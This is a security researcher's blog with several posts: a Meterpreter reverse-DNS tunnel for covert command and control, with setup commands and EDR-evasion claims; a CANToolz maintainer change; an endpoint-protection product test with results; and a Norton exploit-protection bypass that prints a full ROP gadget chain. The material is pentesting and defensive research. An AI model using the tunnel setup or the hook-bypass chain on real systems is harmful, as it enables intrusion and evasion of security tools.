пятница, 1 декабря 2017 г.

Data exfiltration with Metasploit: meterpreter DNS tunnel


    Meterpreter is a well-known Metasploit[1] remote agent for pentester's needs. This multi-staged payload is a good, flexible and easy-to-use platform that allows pentesters to have remote control over pwnedpenetrated host[2]. Currently it supports following "network" transports:


  • Binding TCP port
  • Reverse connection over TCP/IP
  • Reverse connection over HTTP 




Last year we, at defcon-russia,  have started  a fun opensource community project regarding implementing another network transport for meterpreter: reverse DNS (tunnel). Last week we also have presented it at ZeroNights. In that blog-post I want to share results of this work, future plans and main benefits and features.


Transport design and components

   Our current "pre-release" is only supports windows platforms (both, x64/x86) and consists of following main components:



The  DNS MSF Bridge is a Python script which is used as DNS server. This is key component that is working in Internet as Name Server, parsing DNS requests and sending encapsulated data back. Normal DNS tunnel. At the same time this script binds a TCP port for MSF clients (pentesters). So pentester could use MSF and control pwned target through this DNS bridge. In other words this script is acting as a transport proxy. Currently we have not implemented "native" DNS service in Ruby, but there we reasons for that. Main reason is practical: when you do a pentest, you just put this DNS script on, let's say, EC2 instance, put NS records for main domain to that IP and then you could work with it from any place using MSF. More than this - with DNS Bridge we have implemented  multi-console and payload support. This means that two or more pentesters could work at the same time with different targets and tasks using same DNS Bridge server and domain name. Currently one DNS Bridge (domain) supports up to 26 parallel sessions (pwned hosts) 






Currently we support two types of DNS tunnels: DNSKEY RR and AAAA RR. This means that we have supported all these tunnels both in shellcodes and in metsrv agent.



And now we have whole transport over DNS, shellcode stager downloads main payload (meterpreer) over DNS and runs it from the memory. And meterpreter is also using same DNS transport. Now you do not need TCP/IP DNS tunnels with additional software, like Powershell script or Dnscat2. It is more stealth because with Dnscat/Iodine or any other TCP/IP over DNS you need to run additional process and bind local port for tunneling, which could be detected by local AV/EPP, but now, it is done in right, native, way in MSF payload itself, and it means that no sockets and tunnel processes/binaries/scripts needed anymore. Also we have now less overhead for tunneling traffic. We do not encapsulating TCP/IP headers, only payload(stage) body and TLV packets for metsrv. So it is faster.

Regarding tunnel's types:

AAAA
- is slower, but it could be used from Windows XP. And yes, you can use this tunnel even if no IPv6 is used/installed on the victim box! To make this possible, we are using only reserved IPv6 address in responses, which will be passed anyway.

DNSKEY - this can be used only on Windows 7, but it is much faster.

Upload tunnel is based on subdomain values. So we have TLV encoded with base32.

Encryption - we do not use any additional encryption right now. It means that payloads will be passed "plain-text" in DNS responses. In case of AAAA tunnel it will be fragmented by IP addresses, in case of DNSKEY it will be 16 KB slice per response (TCP will be used).

Meterpreter communication is using standard encryption with session  keys (AES+XOR).

While testing speed I got following results on different networks:

Upload
     base32          - from 1 KB/sec to 4 KB/sec
Downlink
    AAAA          - from 4 KB/sec to 16 KB/sec
    DNSKEY     - from 86 KB/sec to 660 KB/sec

Speed is really depends on many things in the env and network, but in enterprise networks it will be "fast". So DNSKEY shellcodes download Meterpreter stage for 2 seconds, I  think it is good enough for practical usage. But of course it depends from many things. Meterpreter also needs at least StdLib loaded first, and it will take some time (also few seconds) as well. Migration process also depends on download speed.

Benefits


Let's now review all features and why this transport could be used. Main profit - is accessing  hosts in "isolated" vlans/networks. I still remember doing a pentest for one company when I was performing a social engineering project, where part of it was sending e-mails with PDF exploit to employees with  'no internet' policy. How to control such hosts in case if attack was successful? Reverse DNS tunnel  is an answer! Also that was a way how we escaped from network sandboxes and etc (for example some EDR/EPP have a feature to isolate compromised host from intruder access, but with DNS tunnel, we still can save our control). All this happened because pwned box do not so any connections outside of  LAN/DMZ, only to local corporate DNS server.

Another cool feature - "socket less" control which is applicable for Windows platforms. Main thing here that our agent(meterpreter, pwned process) do not need to spawn a connection, bind port or anything like this for doing DNS resolve. This is happened because MS DNS Cache will do all work for you. In other words, let's say we are injected into notepad.exe. Notepad.exe will try to setup a DNS tunnel with us through local corporate  DNS server, but UDP/TCP connection with that corporate DNS will be done not by notepad.exe but by svchost.exe. So we got +5 to stealth.



And again, for most EDR solutions it will be not visible.

HowTo


0) git clone and install https://github.com/defcon-russia/metasploit-framework
1) Buy a domain. Shorter better. Like: msf.ws
2) get a hosting like EC2 (let's say IP will be 1.2.3.4)
3) put NS records to msf.ws to the IP of that server
4) Deploy DNS MSF Bridge to that server, run it

./dns_server.py --ipaddr 1.2.3.4 --domain msf.ws

5) Prepare a payload

./msfvenom -p windows/meterpreter/reverse_dns DOMIAN=msf.ws RHOST=1.2.3.4

6) prepare an exploit with generated payload

7) run the MSF handler

use exploit/multi/handler
set payload windows/meterpreter/reverse_dns
set DOMAIN msf.ws
set RHOST 1.2.3.4
run
8) deliver  an exploit to targets and wait... sessions will be spawned

Feature plans

Currently we are trying to get this transport into main MSF fork. This means that merge work need to be done - and it is in progress now. This activity including creating native DNS handler support (so it should work if we could use MSF as a DNS server, without Bridge) is now our main target. If you want help us, please let us know!

After (and IF) merge will be done and this work will be not just fork, but part of Metasploit, then we could start implementing more features:

  •  Payload XOR encryption for stager 
  •  Powershell/VBS stagers
  •  Adding more OS platforms supported
  •  more types of tunnels: TXT, NULL and etc

If you want to help and participate - let us know!

If you have any questions or ideas - feel free to contact us at IRC(freenode.org #Metasploit,  ask  RageLtMan), Telegram (https://t.me/DCG7812 -- warning, Russian lang is main, but we could speak English a little bit! Ask me or max3raza). Or just drop an e-mail...

Sources:

Usage Demo:





[1] https://github.com/rapid7/metasploit-framework/wiki/Meterpreter
[2] https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

пятница, 18 августа 2017 г.

Next page in CANToolz life

Hello to all CANToolz users (And I know both of them, yeah..)!


There are few things happened. First of all, unfortunately for me it is very difficult to work on new features and maintain the project... one of the main reasons - I do not have hardware (even car), so it is not the best environment for development. Working with remote testers is very difficult and not so productive. I have a lot of ideas and plans, but it is not possible to implement them without proper support (from the community or good R&D team, for example) or without comprehensive testing environment (hardware, vehicles and etc) and of course without enough free time...

Just one more example is  CAN-Pickhttps://cansecwest.com/slides/2017/CSW2017_MinruiYan-JianhaoLiu_A_visualization_tool_for_evaluating_CAN-bus_cybersecurity.pdf 

This tool was also presented on BlackHat US 17: https://www.blackhat.com/us-17/arsenal/schedule/index.html#can-pick---a-visualization-tool-for-evaluating-can-bus-cybersecurity---arsenal-theater-demo-7026

As far as I can see here CANToolz was used as the "engine" and/or the source of ideas(e.g. modules) for CAN-Picks. Yes, they have missed few modules that was introduce after, but maybe they do not need them 8)

But anyway I want other people to use CANToolz, especially when they can do with it more then me! And these guys with their resources and talents can do a lot, for example they have added graph visualization and dynamic config and module loading which I planned to do, but had no time... so they did a great work! But may be I am just a little bit disappointed that they did not want to contribute to CANToolz with their ideas and code, ha-ha-ha, but this typical example of high expectations 8))

Anyway, this is the time for some changes, and the best idea here: to change the maintainer... so please welcome the new maintainer: Tao Sauvage

Tao helped CANToolz a lot with contribution, bug reports, ideas and moral support. He is an active CANToolz user who is helping the project development, and I believe he can provide much more as a leader there! Thank you Tao!

 I will stay as a supporter and if I have  more time and resources for unrealized ideas - then I will also contribute. Any way I am still here :-)

Or yeah... on of the main reasons for this post, new GitHub url:
NEW GitHub:  https://github.com/CANToolz/CANToolz

вторник, 7 февраля 2017 г.

How I have tested EndPointProtection solution...

             Just finished evaluation for some EPP products. And I found difficult this challenge: how to chose solution that will fit your organisation. Of course first you need to understand if it is reasonable to spend money for EPP, probably you can get same or better results without EPP (like better app-control,  DeviceGuard and etc). But if you sure, that you need it, and it is the only one way for you, then what you gonna do? Right answer - run PoC/pilot with chosen vendors, and check what YOU as a customer need. Sales demos and presentations, NSS lab reports and Gartner qaudrants - will not help much. I want to share just how I did it. (it is not a best or full way, I am working not in SECURITY company, so it just a way how I can differ one solution from another as a customer, from techincal point of view).  This text is only about exploits/attacks protection quality, and I do not want to cover too much other things in this blog-post, but  they are also important, for example: classification of collected data (by vendor/solution, if we have deal with cloud based solutions), report quality, SIEM integration, customization, perfomance, attack surface (yes, even EPP making your attack surface bigger, like any AV...) and etc... 
C

          

       1.      My test methodology (exploit/attack/malware protection quality)



Pic 1. Kill Chain stages that are chosen by us for testing.

 1.1        Coverage and quality

1.1.1       Delivery

I have prepared few different exploits for testing:
a)     HTML file with Buffer Overflow exploit in browser plugin (0day)
b)    HTML file with Use-After-Free exploit in browser plugin (0day)
c)     DOC file with malicious macros (0day)
d)    EXE file with known 1day exploit for local privilege escalation (ring0 exploit)
e)     EXE files with known malware
a.      Default: known hash
b.     Encoded: unknown hash
f)      DLL files with known malware

TEST CASE
EXPECTED BEHAVIOR
DELIVERY: HTML with exploits
Detected and blocked
DELIVERY: WORD with macros
Detected and blocked
DELIVERY/INSTALL: Encoded Meterpereter x64 as an EXE drop
Detected and blocked
DELIVERY/INSTALL: Encoded Meterpereter x64 as a DLL drop
Detected and blocked
DELIVERY/INSTALL: Hash based malware
Detected and cleaned
DELIVERY/INSTALL: Not Hash based malware
Detected and blocked

1.1.2       Exploitation

For simulating 0day attacks/exploits I have created own vulnerable Internet Explorer plugin and wrote exploits for it. Same for DOC file tests on delivery stage, I have created special, obfuscated macros. Because exploitation step is the most critical step, I did analysis how each security solution under test detects and prevents exploitation of vulnerabilities, and accordingly evaluated the product per the defined expected behavior.

TEST CASE
EXPECTED BEHAVIOR
EXPLOITTAION: ROP Shellcode
Blocked on any stage of ROP shellcode
EXPLOITTAION: Shellcode
Blocked on any stage of normal shellcode
EXPLOITTAION: 1day ring0 exploit
Blocked on any stage
EXPLOITTAION:  HeapSpray
Detected or blocked
EXPLOITTAION: Exploit triggers - UAF, Bof
Detected or blocked
EXPLOIT: 0day Macros run
Blocked
EXPLOIT: Meterpreter  x86 (in mem)
Detected or Blocked
EXPLOIT: IOC bypass - migration to EXPLORER (CreateRemoteThread)
Detected or Blocked


1.1.3       Installation

Have used self-made (unknown signatures) VBS backdoor that dropped by exploit/shellcode. Additionally have used: Metasploit Meterpreter (in different configurations)  as a backdoor. Test cases simulated next kill chain steps: exploitation, downloading backdoor and execution.
Test case names:

TEST CASE
EXPECTED BEHAVIOR
EXPLOITATION/INTSALL: DbD with VBS - BoF
Blocked on any stage of attack (earlier better)
EXPLOITATION/INTSALL: DbD with VBS - UAF
Blocked on any stage of attack (earlier better)
EXPLOITATION/INTSALL: DbD with met64 - BoF
Blocked on any stage of attack (earlier better)
EXPLOITATION/INTSALL: DbD with met64 - UAF
Blocked on any stage of attack (earlier better)
INSTALL: VBS backdoor run
Blocked on any stage of attack (earlier better)
DELIVERY/INSTALL: Encoded Meterpereter x64 as an EXE drop
Detected and cleaned on delivery stage or blocked on execution
DELIVERY/INSTALL: Encoded Meterpereter x64 as a DLL drop
Detected and cleaned on delivery stage or blocked on execution
DELIVERY/INSTALL: Hash based malware
Detected and cleaned on delivery stage or blocked on execution
DELIVERY/INSTALL: Not Hash based malware
Detected and cleaned on delivery stage or blocked on execution


1.1.4       Command & Control

Custom VBS backdoor used stealth Reverse DNS tunnel (via nslookup) technique as a main communication method. Same method was used by DbD exploits for downloading backdoor (viaa svchost). Normal TCP connection was used as a communication method for Meterpreter. 

TEST CASE
EXPECTED BEHAVIOR
C&C: Meterpreter TCP
Detected or blocked
C&C: Reverse DNS via svchost
Detected

2.    Test files

Sorry, can't share samples, but could share just some sources from where I took some of them:

https://github.com/Cr4sh/fwexpl (ring3 -> ring0 -> SMM )
https://github.com/eik00d/Reverse_DNS_Shellcode (Reverse DNS shellcode, VBS PoC and C&C)
https://www.reverse.it (sometimes you could find good samples here)

3.    Results for 5 different products

TEST CASE\Solution
5 products
DELIVERY: HTML with exploits
0/5
DELIVERY: WORD with macros
0/5
EXPLOITTAION: ROP Shellcode
2/5 (StackPivot detection by hooks on VirtalAlloc/VirtualProtect), 1 of them bypassed, because hooks was on ring3, like it was https://asintsov.blogspot.de/2016/12/bypassing-exploit-protection-of-norton.html
EXPLOITTAION: Shellcode
5/5 (detection by hooks on various calls), 2 of them bypassed, because hooks was on ring3, like it was done there https://asintsov.blogspot.de/2016/12/bypassing-exploit-protection-of-norton.html
EXPLOITTAION: 1day ring0 exploit
0/5
EXPLOITTAION:  HeapSpray
1/5, by pre-allocation by well-known address: could be bypassed
EXPLOITTAION: Exploit triggers - UAF, Bof
0/5
EXPLOITATION/INTSALL: DbD with VBS - BoF
4/5  (EXPLOITTAION: ROP Shellcode + EXPLOITTAION: Shellcode + INSTALL: VBS backdoor run)
EXPLOITATION/INTSALL: DbD with VBS - UAF
5/5  (EXPLOITTAION: ROP Shellcode + EXPLOITTAION: Shellcode + INSTALL: VBS backdoor run)
EXPLOITATION/INTSALL: DbD with met64 - BoF
3/5  (EXPLOITTAION: ROP Shellcode + EXPLOITTAION: Shellcode + DELIVERY/INSTALL: Encoded Meterpereter x64 as a drop EXE)
EXPLOITATION/INTSALL: DbD with met64 - UAF
3/5  (EXPLOITTAION: ROP Shellcode + EXPLOITTAION: Shellcode + DELIVERY/INSTALL: Encoded Meterpereter x64 as a drop EXE)
EXPLOIT: 0day Macros run
2/5
EXPLOIT: Meterpreter  x86 (in mem)
1/5
INSTALL: VBS backdoor run
1/5
DELIVERY/INSTALL: Encoded Meterpereter x64 as a drop EXE
2/5 (AWESOME RESULTS)
DELIVERY/INSTALL: Encoded Meterpereter x64 as a drop DLL
3/5
DELIVERY/INSTALL: Hash based malware
4/5
DELIVERY/INSTALL: Not Hash based malware
2/5 (it is mean, if same malware will be changed and it will produce a new hash, than 2 products will miss it)
EXPLOIT: IOC bypass - migration to EXPLORER (CreateRemoteThread)
2/5 Blocked, and again hooks, 1 product has ring3 hooks and could be bypassed
C&C: Meterpreter TCP
3/5 will detect connection
C&C: Reverse DNS via svchost
0/5

Outcome

Of course my tests  does not reflect anything except the fact that those solution could pass or not  just those tests, exploits and backdoors chosen/created by me. On different set of exploits and samples or different attacks - we could get different results! But some general things are there:

  • No one EPP solution could protect you from 100% attacks and threats! It is mean, if targeted attack (like APT) happen, and you are main target - EPP will not help you! 
  • Some solutions do better in exploit prevention, but suck on malware detection, other more concentrated on "malware" detection, but can't stop exploits well
  • Most exploit-protection/malware detection techniques used by EPP could be bypassed!
  • Two different solution could stop same attack(exploit), and looks like result the same, but in fact they have stopped it on different stage, and that was what important for me: earlier - better 
  • Vendors do not like public tests, that's why customers like me need to run those PoC/tests to choose right product by them-self. Do not trust "public" ratings, check solution that will fit your organisation and response your threats. Gartner magic quadrant or NSS reports does nor help much!
  • Most EPP are cloud based... that creates additional problems for customers, especially if they collect to much data (like all system events on each endpoint or even files content)
  • If you could use Win10 DeviceGuard  and control all binaries/scripts - it probably gives you better end-point security ;) 

UPD

Most typical NextGen "fails":
  • "Corrupted" PE -> bypass checks/binary parsers
  • EXE detected, but same product can't detect same malware in DLL...
  • DLL detected, but same product can't detect same malware in EXE...
  • Ring3 hooks (already mentioned, https://asintsov.blogspot.de/2016/12/bypassing-exploit-protection-of-norton.html )
  • No signature checks... ok, but only VirusTotal hashes?
  • IE->exec(CMD) - detected! IE->migrate(EXPLORER)->exec(CMD) - not
I checked, @matalz is right... delays also works! lol...

P.S. All vendors will fix at least things I reported, and they were very promising on new features. They not bad 8)

пятница, 16 декабря 2016 г.

Bypassing Exploit protection of NORTON Security

Hey, today I am not going to talk about CANToolz! Surprise 8)

Let me start this story from the beginning - I just got a new laptop, and by default there was installed a Norton Security. And I have 60 days evaluation time.  And this is ok (except that part when Norton have decided to delete my Radare2, that was awful... ).

One day I have decided to test my old Zeronights 2012 workshop  about x86 exploitation (http://www.slideshare.net/DefconRussia/sintsov-advanced-exploitation-in-win32). And I was surprised that Norton have stopped my UAF exploit... good job! (if you interested in that lab, you can get it here: https://github.com/defcon-russia/activex_workshop/tree/master/Use_After_Free_x32)





But it was interesting for me - how it works and how we could bypass it... And then I have started playing with it online - while streaming this  on our TWICH (https://www.twitch.tv/defconrussia, sorry Russian lang), so my friends from Defcon-Russia (DC 7812) could do it with me online 8)

First finding: Norton could detect only StackPivots, and  it's done with help of ring3 hooks on critical functions, like LoadLibrary, VirtualProtect and VirtualAlloc. So they have injected their JUMPS in function's prologue and intercept all calls. In their handler they can check if current stack frame is "original". If  not, then they raising an exception like on that screenshot. So if during exploit there are no Stack Pivotings happened (let's say  simple BoF where ROP and shellcode in the same stack) then attack will be not stopped and detected.

Let's see their hooks on VirtualAlloc  where my ROP shellcode fails after StackPivot:

First  hook is in the kernel32 wrapper and then second hook in kernelbase:






This could be  bypassed via different methods for example attacker could copy ROP shellcode with VirtualAlloc call into original stack with help of stage1 ROP shellcode and than switch "original" stack frame back, or he could bypass hooks by restoring function's prologue and jump over the hook. During the stream we decided to try both strategies just for fun:

1) ROP shellcode will bypass VirtualAlloc via jumps over two hooks.
2) Then normal shellcode will restore original stack frame and execute LoaldLibrary and other functions without any exceptions.

BTW, when I started this activity, @matrosov told me about their research, where this topic  was covered as well: https://www.blackhat.com/docs/us-16/materials/us-16-Yavo-Captain-Hook-Pirating-AVs-To-Bypass-Exploit-Mitigations.pdf So topic is a really well-known problem! And looks like guys from Symantec (and not only, others Security vendors also have same issues) already aware about this.

Bypassing two hooks in ROP's VirtualAlloc call:

My original exploit have leaked pointer to VirtualAlloc call from kernel32, If we want to bypass these hooks, we need to call VirtualAlloc from kernelbase, and we need to "jump" on that address with offset in 5 bytes from the beginning. Directly on first "push ecx".
We did it like that:
esi <- VirtualAlloc pointer

So we build ROP that doing:

       mov eax, [esi + 8] ; read kernelbase.virtualalloc pointer
       mov eax, [eax]      ; get this pointer
       add eax, 5              ; get pointer over the hook, directly to first "push ecx"

But you could not do "jmp eax", because prologue of kernelbase.VirtualProtect was "overwritten" by hook, so first you need to restore original EBP value (because this register is used as a pointer for parameters)

lost VirtualAlloc prologue:

push ebp
mov ebp, esp

So we need to be sure that at the moment of the jump we will  have pre-calculated EBP value that will be equal to ESP. It is mean that we need to do mov ebp,esp just before we will do "jmp eax". Then hook will be bypassed. Of course when you do it via ROP it is a little bit more difficult, because ROP always changes ESP pointer. But finally we did it (ROP for my vulnerable workhsop ActiveX module, ASLR enabled, so addresses here just for an example):


1) This is ROP shellcode after stack pivot, we have original stack pointer stored in EDI
2) Let's pre-calc EBP (EBP should be same as ESP when VirtualAlloc will be called)

>0x5bf2b484 :  # POP EAX # RETN 
>204        :  # offset to EBP
>0x5be63cd8 :  # PUSH ESP # POP EBP # RETN 04 
>0x5bf014a9 :  # XCHG EAX,EBP # RETN
>0x90909090 :  # TRASH
>0x5bf08c87 :  # ADD EAX,EBP # RETN 
>0x5bf014a9 :  # XCHG EAX,EBP # RETN

3) Here we want to calc address of VirtuallAlloc in kernelbase after all Norton's hooks
# EAX = kernelbase.virtalloc + offset_over_the_hook

>0x5bee1907 :  # POP ECX # RETN [npexploitMe.dll] 
>0x5bf32114 :  # ptr to &VirtualAlloc() [IAT npexploitMe.dll]
>0x5bed6fb0 :  # MOV EAX,DWORD PTR DS:[ECX] # RETN [npexploitMe.dll]
>0x5bedba6d :  # ADD EAX,8 # RETN 
>0x5be629f9 :  # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5be629f9 :  # MOV EAX,DWORD PTR DS:[EAX] # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN
>0x5bee809a :  # INC EAX # RETN 


4) Prepare parameters for VirtualAlloc


>0x5bf20010  :  # XCHG EAX,ESI # RETN ; save VA in ESI
>0x5be8936f  :  # XOR EAX,EAX # RETN 
>0x5bf08c87  :  # ADD EAX,EBP # RETN  ; EAX=EBP
>0x5bed87dd  :  # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN 
                     ; EDX = EBP, pointer to place where we want to store our VA parameters
>0x11223344  :  # trash to esi
>0x5bf20010  :  # XCHG EAX,ESI # RETN ; save VA in ESI
>0x5be98313  :  # MOV EAX,ESI # RETN  
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; save VA call address (1)
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN ; DWORD* pointer++
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; not needed, new EBP (2)
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bf2b484  :  # POP EAX # RETN ; put return address after VA call int EAX    
>0x5be63ce2  :  # PUSH ESP # RETN ; this will be executed after VA (goes to EAX right now)
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN  ; Retuen address (3)
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5bec1806  :  # INC EDX # RETN 
>0x5be8936f  :  # XOR EAX,EAX # RETN 
>0x5bf08c87  :  # ADD EAX,EBP # RETN  ; EAX=EBP
>0x5beecf8e  :  # MOV DWORD PTR DS:[EDX],EAX # MOV EAX,3 # RETN ; pointer to page (4)
>0x5bef49e2  :  # INC EBP # RETN
>0x5bef49e2  :  # INC EBP # RETN
>0x5bef49e2  :  # INC EBP # RETN
>0x5bef49e2  :  # INC EBP # RETN ;fixing EBP, so now it is equal to ESP, prologue restored...
>0x5bee809b  :  # RETN 
>0x11111111  :  # This will be overwritten by (1)
>0x22222222  :  # This will be overwritten by (2)
>0x22222222  :  # Retuen address after VA call, will be overwritten by (3)
>0x33333333  :  # First VA parameter - pointer, overwrittem by (4)
>0x00000001  :  # Second VA parameter: size       
>0x00001000  :  # Third VA parameter: AllocationType = MEM_COMMIT            
>0x00000040  :  # Last VA parameter: R_X    

After that normal shellcode can be executed from R_X memory. We still have the original stack frame pointer in EDI, we did not use this register during ROP, so now shellcode could restore original stack frame (second strategy) and continue execution without problems from Norton Security:

        mov esp, edi

Now we have bypassed this protection and able to execute our code for the workshop exploit with no problems. Too simple. And this tricks are kind universal and will work in most setups (like same ROP and shellcode will be executed same way on boxes without Norton, and with Norton, so attacker will not need two different payloads/shellcodes)

P.S.
For me it was funny to stream this small ans simple "research" and I got a lot of help from the community, finally we all had fun time and learned about security something.